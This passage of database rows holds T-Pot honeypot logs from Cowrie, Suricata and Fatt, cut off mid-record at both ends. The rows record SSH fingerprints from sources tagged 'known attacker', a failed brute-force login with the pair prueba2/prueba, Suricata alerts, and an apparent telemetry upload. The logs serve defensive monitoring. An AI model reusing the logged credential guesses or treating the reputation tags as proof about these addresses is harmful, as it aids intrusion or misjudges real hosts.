"hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b6fafc178331", "@version": "1", "timestamp": "2021-09-20T11:44:52.223888Z", "@timestamp": "2021-09-20T11:44:52.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31437	121.4.68.188	109.199.241.180	Suricata	2021-09-20 14:44:52.22315+03	2021-09-20 14:45:04.482143+03	{"_id": "8AYFA3wBvYTbRNuE8EMA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "flow_id": 317644845830793, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 59956, "dest_port": 22, "timestamp": "2021-09-20T11:44:52.223150Z", "@timestamp": "2021-09-20T11:44:52.223Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31438	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:44:48.000417+03	2021-09-20 14:45:04.484146+03	{"_id": "5AYFA3wBvYTbRNuE7EMW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:43:47.310915+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 189270416670339, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 61891, "timestamp": "2021-09-20T11:44:48.000417Z", "@timestamp": "2021-09-20T11:44:48.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
31439	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:44:51.95344+03	2021-09-20 14:45:04.485142+03	{"_id": "5QYFA3wBvYTbRNuE7UMP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "121.4.68.188", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59956, "timestamp": "2021-09-20T11:44:51.953440", "@timestamp": "2021-09-20T11:44:51.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31440	121.4.68.188	109.199.241.180	Fatt	2021-09-20 14:44:52.223249+03	2021-09-20 14:45:04.486142+03	{"_id": "5gYFA3wBvYTbRNuE7UMR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59956, "dest_port": 22, "timestamp": "2021-09-20T11:44:52.223249", "@timestamp": "2021-09-20T11:44:52.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31442	121.4.68.188	109.199.241.180	Suricata	2021-09-20 14:44:52.22315+03	2021-09-20 14:45:04.488142+03	{"_id": "7wYFA3wBvYTbRNuE8EMA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:44:51.676489+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 887, "bytes_toserver": 294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "121.4.68.188", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 317644845830793, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 59956, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:44:52.223150Z", "@timestamp": "2021-09-20T11:44:52.223Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
31443	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:44:53.404449+03	2021-09-20 14:45:04.490142+03	{"_id": "8gYFA3wBvYTbRNuE8kM_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.login.failed", "message": "login attempt [prueba2/prueba] failed", "session": "b6fafc178331", "@version": "1", "password": "prueba", "username": "prueba2", "timestamp": "2021-09-20T11:44:53.404449Z", "@timestamp": "2021-09-20T11:44:53.404Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31444	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:44:54.681408+03	2021-09-20 14:45:04.491142+03	{"_id": "8wYFA3wBvYTbRNuE9kMn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b6fafc178331", "@version": "1", "duration": 2.7289435863494873, "timestamp": "2021-09-20T11:44:54.681408Z", "@timestamp": "2021-09-20T11:44:54.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31445	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:45:01.931736+03	2021-09-20 15:00:02.168717+03	{"_id": "FAYGA3wBvYTbRNuEE0Qs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:45:01.918602+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 145, "bytes_toserver": 492}, "host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 1, "signature": "ET POLICY HTTP Request on Unusual Port Possibly Hostile", "signature_id": 2006408}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "78.83.66.198", "flow_id": 819333533860938, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 57352, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T11:45:01.931736Z", "@timestamp": "2021-09-20T11:45:01.931Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
31446	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:45:01.931736+03	2021-09-20 15:00:02.171718+03	{"_id": "EwYGA3wBvYTbRNuEE0Qs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:45:01.918602+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 145, "bytes_toserver": 492}, "host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 10, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 1, "signature": "ET POLICY HTTP POST on unusual Port Possibly Hostile", "signature_id": 2006409}, "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "78.83.66.198", "flow_id": 819333533860938, "payload": "UE9TVCAvQVBJL3Bvc3QgSFRUUC8xLjENCkhvc3Q6IDc4LjgzLjY2LjE5ODo4MDAwDQpVc2VyLUFnZW50OiBjdXJsLzcuNjQuMA0KQWNjZXB0OiAqLyoNCkF1dGhvcml6YXRpb246IFRva2VuIDEyMzQ1Njc4OTANCkNvbnRlbnQtTGVuZ3RoOiAzMzcwMzU1DQpDb250ZW50LVR5cGU6IG11bHRpcGFydC9mb3JtLWRhdGE7IGJvdW5kYXJ5PS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLWU2NGJlNzRlZmNiM2Q0MjENCkV4cGVjdDogMTAwLWNvbnRpbnVlDQoNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 57352, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T11:45:01.931736Z", "@timestamp": "2021-09-20T11:45:01.931Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "POST /API/post HTTP/1.1\\r\\nHost: 78.83.66.198:8000\\r\\nUser-Agent: curl/7.64.0\\r\\nAccept: */*\\r\\nAuthorization: Token 1234567890\\r\\nContent-Length: 3370355\\r\\nContent-Type: multipart/form-data; boundary=------------------------e64be74efcb3d421\\r\\nExpect: 100-continue\\r\\n\\r\\n"}}	1	\N	\N	alert	\N	\N
31447	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:45:01.96369+03	2021-09-20 15:00:02.173717+03	{"_id": "FQYGA3wBvYTbRNuEE0Qs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "dest_ip": "78.83.66.198", "flow_id": 819333533860938, "@version": "1", "fileinfo": {"gaps": false, "size": 102205, "magic": "ASCII text, with very long lines", "state": "TRUNCATED", "tx_id": 0, "stored": false, "filename": "data.json"}, "in_iface": "enp5s0", "src_port": 57352, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T11:45:01.963690Z", "@timestamp": "2021-09-20T11:45:01.963Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
31448	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:45:04.577538+03	2021-09-20 15:00:02.175718+03	{"_id": "IQYGA3wBvYTbRNuEHkTm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 6, "status": 200, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "authorization": "Token 1234567890", "http_user_agent": "curl/7.64.0", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "dest_ip": "78.83.66.198", "flow_id": 819333533860938, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 57352, "dest_port": 8000, "timestamp": "2021-09-20T11:45:04.577538Z", "@timestamp": "2021-09-20T11:45:04.577Z", "event_type": "http", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	http	\N	\N
31449	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:45:05.775653+03	2021-09-20 15:00:02.176717+03	{"_id": "JwYGA3wBvYTbRNuEI0TH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 53038, "dest_port": 22, "timestamp": "2021-09-20T11:45:05.775653", "@timestamp": "2021-09-20T11:45:05.775Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31450	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:45:05.776361+03	2021-09-20 15:00:02.177718+03	{"_id": "KQYGA3wBvYTbRNuEJUQO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "f2f4066816eb", "@version": "1", "timestamp": "2021-09-20T11:45:05.776361Z", "@timestamp": "2021-09-20T11:45:05.776Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31451	78.83.66.198	109.199.241.180	Suricata	2021-09-20 14:45:04.577538+03	2021-09-20 15:00:02.179717+03	{"_id": "IgYGA3wBvYTbRNuEHkTm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 6, "status": 200, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "78.83.66.198", "asn": 29580, "as_org": "Mobiltel Ead", "latitude": 42.683, "location": {"lat": 42.683, "lon": 23.3175}, "timezone": "Europe/Sofia", "city_name": "Sofia", "longitude": 23.3175, "postal_code": "1000", "region_code": "22", "region_name": "Sofia-Capital", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "TCP", "src_ip": "78.83.66.198", "dest_ip": "192.168.20.116", "flow_id": 819333533860938, "@version": "1", "fileinfo": {"md5": "3c3f2943d4337318cf737f45d5b564cd", "gaps": false, "size": 6, "magic": "ASCII text, with no line terminators", "state": "CLOSED", "tx_id": 0, "stored": false, "filename": "/API/post"}, "in_iface": "enp5s0", "src_port": 8000, "app_proto": "http", "dest_port": 57352, "timestamp": "2021-09-20T11:45:04.577538Z", "@timestamp": "2021-09-20T11:45:04.577Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
31452	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:45:05.51209+03	2021-09-20 15:00:02.180716+03	{"_id": "JAYGA3wBvYTbRNuEIUQl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:53038 (192.168.176.2:22) [session: f2f4066816eb]", "session": "f2f4066816eb", "@version": "1", "protocol": "ssh", "src_port": 53038, "dest_port": 22, "timestamp": "2021-09-20T11:45:05.512090Z", "@timestamp": "2021-09-20T11:45:05.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 